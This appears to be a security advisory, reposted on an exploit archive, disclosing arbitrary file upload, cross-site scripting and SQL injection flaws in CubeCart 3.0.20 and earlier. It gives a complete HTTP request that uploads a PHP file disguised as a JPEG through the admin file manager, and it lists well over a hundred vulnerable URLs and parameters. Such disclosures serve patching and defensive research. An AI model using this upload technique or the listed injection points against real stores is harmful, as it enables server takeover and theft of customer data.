CubeCart 3.0.20 Multiple Vulnerabilities

1. OVERVIEW

CubeCart 3.0.20 and lower versions are vulnerable to Arbitrary File Upload.


2. BACKGROUND

CubeCart is an "out of the box" ecommerce shopping cart software
solution which has been written to run on servers that have PHP &
MySQL support. With CubeCart you can quickly setup a powerful online
store which can be used to sell digital or tangible products to new
and existing customers all over the world.


3. VULNERABILITY DESCRIPTION

CubeCart 3.0.20 and lower versions contain a flaw related to the
/admin/filemanager/upload.php script's failure to properly validate
uploaded files. This may allow a remote attacker to upload arbitrary
files and execute arbitrary code via a request to the 'atm-regen'
parameter.


4. VERSIONS AFFECTED

3.0.20 and lower (aka 3.0.x family)


5. PROOF-OF-CONCEPT/EXPLOIT

Set content type to image/jpeg and upload.
Uploaded files are stored at images/uploads.


/////////////////////////////////////////////////////////////////////
POST /cube/admin/filemanager/upload.php HTTP/1.1
Host:localhost
Referer: http://localhost/cube/admin/filemanager/upload.php?custom=1&redir=0
Cookie: ccSIDb4c410adddf67168ce2ac0e2807326f8=f2c0bc69b813778a644b76c2b40c7ce0;
Content-Type: multipart/form-data;
boundary=---------------------------24464570528145
Content-Length: 29

-----------------------------24464570528145
Content-Disposition: form-data; name="FCKeditor_File"; filename="cmd.php"
Content-Type: image/jpeg

<?php info();?>

-----------------------------24464570528145
Content-Disposition: form-data; name="submit"

Upload Image
-----------------------------24464570528145
Content-Disposition: form-data; name="redir"

0
-----------------------------24464570528145
Content-Disposition: form-data; name="custom"

1
-----------------------------24464570528145--



-------------------------------------------------------------------------------------------

1. OVERVIEW

CubeCart 3.0.20 and lower versions are vulnerable to Cross Site Scripting.


2. BACKGROUND

CubeCart is an "out of the box" ecommerce shopping cart software
solution which has been written to run on servers that have PHP &
MySQL support. With CubeCart you can quickly setup a powerful online
store which can be used to sell digital or tangible products to new
and existing customers all over the world.


3. VULNERABILITY DESCRIPTION

Multiple parameters are not properly sanitized, which allows attacker
to conduct Cross Site Scripting attack. This may allow an attacker to
create a specially crafted URL that would execute arbitrary script
code in a victim's browser.


4. VERSIONS AFFECTED

3.0.20 and lower (aka 3.0.x family)


5. Affected URLs and Parameters

/admin/adminusers/permissions.php   (adminId parameter)
/admin/categories/index.php   (cat_name parameter)
/admin/categories/languages.php   (cat_master_id parameter)
/admin/customers/   (searchStr parameter)
/admin/customers/index.php   (add_1 parameter)
/admin/customers/index.php   (add_2 parameter)
/admin/customers/index.php   (county parameter)
/admin/customers/index.php   (email parameter)
/admin/customers/index.php   (firstName parameter)
/admin/customers/index.php   (lastName parameter)
/admin/customers/index.php   (searchStr parameter)
/admin/customers/index.php   (town parameter)
/admin/docs/home.php   (homeLang parameter)
/admin/docs/home.php   (title parameter)
/admin/docs/languages.php   (doc_master_id parameter)
/admin/docs/siteDocs.php  (FCKeditor parameter)
/admin/filemanager/upload.php   (filename multipart parameter attribute)
/admin/index.php   (User-Agent HTTP header)
/admin/modules/affiliate/clixGalore/index.php   (folder parameter)
/admin/modules/affiliate/clixGalore/index.php   (module parameter)
/admin/modules/affiliate/iDevAffiliate/index.php   (folder parameter)
/admin/modules/affiliate/iDevAffiliate/index.php   (module parameter)
/admin/modules/affiliate/JROX/index.php   (folder parameter)
/admin/modules/affiliate/JROX/index.php   (module parameter)
/admin/modules/affiliate/tradeDoubler/index.php   (folder parameter)
/admin/modules/affiliate/tradeDoubler/index.php   (module parameter)
/admin/modules/gateway/2Checkout/index.php   (folder parameter)
/admin/modules/gateway/2Checkout/index.php   (module parameter)
/admin/modules/gateway/AsianPay/index.php   (folder parameter)
/admin/modules/gateway/AsianPay/index.php   (module parameter)
/admin/modules/gateway/AsianPay/index.php   (module[account_id]parameter)
/admin/modules/gateway/AsianPay/index.php   (module[desc] parameter)
/admin/modules/gateway/AsianPay/index.php   (module[email] parameter)
/admin/modules/gateway/AsianPay/index.php   (module[receiverid] parameter)
/admin/modules/gateway/Authorize/index.php   (folder parameter)
/admin/modules/gateway/Authorize/index.php   (module parameter)
/admin/modules/gateway/Authorize_AIM/index.php   (folder parameter)
/admin/modules/gateway/Authorize_AIM/index.php   (module parameter)
/admin/modules/gateway/BluePay/index.php   (folder parameter)
/admin/modules/gateway/BluePay/index.php   (module parameter)
/admin/modules/gateway/ccAvenue/index.php   (folder parameter)
/admin/modules/gateway/ccAvenue/index.php   (module parameter)
/admin/modules/gateway/ccNow/index.php   (folder parameter)
/admin/modules/gateway/ccNow/index.php   (module parameter)
/admin/modules/gateway/Chronopay/index.php   (folder parameter)
/admin/modules/gateway/Chronopay/index.php   (module parameter)
/admin/modules/gateway/eGold/index.php   (folder parameter)
/admin/modules/gateway/eGold/index.php   (module parameter)
/admin/modules/gateway/eWay/index.php   (folder parameter)
/admin/modules/gateway/eWay/index.php   (module parameter)
/admin/modules/gateway/HSBC/index.php   (folder parameter)
/admin/modules/gateway/HSBC/index.php   (module parameter)
/admin/modules/gateway/LinkPoint/index.php   (folder parameter)
/admin/modules/gateway/LinkPoint/index.php   (module parameter)
/admin/modules/gateway/mals-e/index.php   (folder parameter)
/admin/modules/gateway/mals-e/index.php   (module parameter)
/admin/modules/gateway/moneybookers/index.php   (folder parameter)
/admin/modules/gateway/moneybookers/index.php   (module parameter)
/admin/modules/gateway/NOCHEX/index.php   (folder parameter)
/admin/modules/gateway/NOCHEX/index.php   (module parameter)
/admin/modules/gateway/Nochex_APC/index.php   (folder parameter)
/admin/modules/gateway/Nochex_APC/index.php   (module parameter)
/admin/modules/gateway/PayJunction/index.php   (folder parameter)
/admin/modules/gateway/PayJunction/index.php   (module parameter)
/admin/modules/gateway/paymate/index.php   (folder parameter)
/admin/modules/gateway/paymate/index.php   (module parameter)
/admin/modules/gateway/PayOffline/index.php   (folder parameter)
/admin/modules/gateway/PayOffline/index.php   (module parameter)
/admin/modules/gateway/PayPal/index.php   (folder parameter)
/admin/modules/gateway/PayPal/index.php   (module parameter)
/admin/modules/gateway/Print_Order_Form/index.php   (folder parameter)
/admin/modules/gateway/Print_Order_Form/index.php   (module parameter)
/admin/modules/gateway/Protx/index.php   (folder parameter)
/admin/modules/gateway/Protx/index.php   (module parameter)
/admin/modules/gateway/psiGate/index.php   (folder parameter)
/admin/modules/gateway/psiGate/index.php   (module parameter)
/admin/modules/gateway/SECPay/index.php   (folder parameter)
/admin/modules/gateway/SECPay/index.php   (module parameter)
/admin/modules/gateway/VelocityPay/index.php   (folder parameter)
/admin/modules/gateway/VelocityPay/index.php   (module parameter)
/admin/modules/gateway/Verisign/index.php   (folder parameter)
/admin/modules/gateway/Verisign/index.php   (module parameter)
/admin/modules/shipping/By_Percent/index.php   (folder parameter)
/admin/modules/shipping/By_Percent/index.php   (module parameter)
/admin/modules/shipping/By_Price/index.php   (folder parameter)
/admin/modules/shipping/By_Price/index.php   (module parameter)
/admin/modules/shipping/By_Weight/index.php   (folder parameter)
/admin/modules/shipping/By_Weight/index.php   (module parameter)
/admin/modules/shipping/Flat_Rate/index.php   (folder parameter)
/admin/modules/shipping/Flat_Rate/index.php   (module parameter)
/admin/modules/shipping/Free_Shipping/index.php   (folder parameter)
/admin/modules/shipping/Free_Shipping/index.php   (module parameter)
/admin/modules/shipping/Per_Category/index.php   (folder parameter)
/admin/modules/shipping/Per_Category/index.php   (module parameter)
/admin/modules/shipping/Per_Item/index.php   (folder parameter)
/admin/modules/shipping/Per_Item/index.php   (module parameter)
/admin/modules/shipping/Royal_Mail/index.php   (folder parameter)
/admin/modules/shipping/Royal_Mail/index.php   (module parameter)
/admin/products/extraCats.php   (add parameter)
/admin/products/extraCats.php   (name parameter)
/admin/products/index.php   (cat_id parameter)
/admin/products/index.php   (cat_name parameter)
/admin/products/index.php   (category parameter)
/admin/products/index.php   (name parameter)
/admin/products/index.php   (orderCol parameter)
/admin/products/index.php   (orderDir parameter)
/admin/products/index.php   (taxName parameter)
/admin/products/languages.php   (prod_master_id parameter)
/admin/products/options.php   (attribute parameter)
/admin/products/options.php   (name parameter)
/admin/settings/currency.php   (active parameter)
/admin/settings/currency.php   (name parameter)
/admin/settings/geo.php   (iso parameter)
/admin/settings/geo.php   (iso3 parameter)
/admin/settings/geo.php   (name parameter)
/admin/settings/geo.php   (numcode parameter)
/admin/settings/geo.php   (printable_name parameter)
/admin/settings/tax.php   (taxName parameter)
/cart.php?act=cart  (HTTP Referer)
/index.php   (add_1 parameter)
/index.php   (add_2 parameter)
/index.php   (county parameter)
/index.php   (firstName parameter)
/index.php   (lastName parameter)
/index.php   (mobile parameter)
/index.php   (town parameter)

-------------------------------------------------------------------------------------------

1. OVERVIEW

The CubeCart 3.0.20 and lower versions are vulnerable to SQL Injection.


2. BACKGROUND

CubeCart is an "out of the box" ecommerce shopping cart software
solution which has been written to run on servers that have PHP &
MySQL support. With CubeCart you can quickly setup a powerful online
store which can be used to sell digital or tangible products to new
and existing customers all over the world.


3. VULNERABILITY DESCRIPTION

Multiple parameters are not properly sanitized, which allows attacker
to conduct  SQL Injection attack. This could an attacker to inject or
manipulate SQL queries in the back-end database, allowing for the
manipulation or disclosure of arbitrary data.


4. VERSIONS AFFECTED

3.0.20 and lower (aka 3.0.x family)


5. Affected URLs and Parameters

//cube/admin/products/extraCats.php (add parameter)
/cube/admin/products/index.php (cat_id parameter)
/cube/admin/products/index.php (category parameter)
/cube/admin/products/index.php (orderCol parameter)
/cube/admin/products/index.php (orderDir parameter)
/cube/admin/products/options.php (masterProduct parameter)
/cube/admin/settings/currency.php (active parameter)

-------------------------------------------------------------------------------------------

#  0day.today [2018-01-05]  #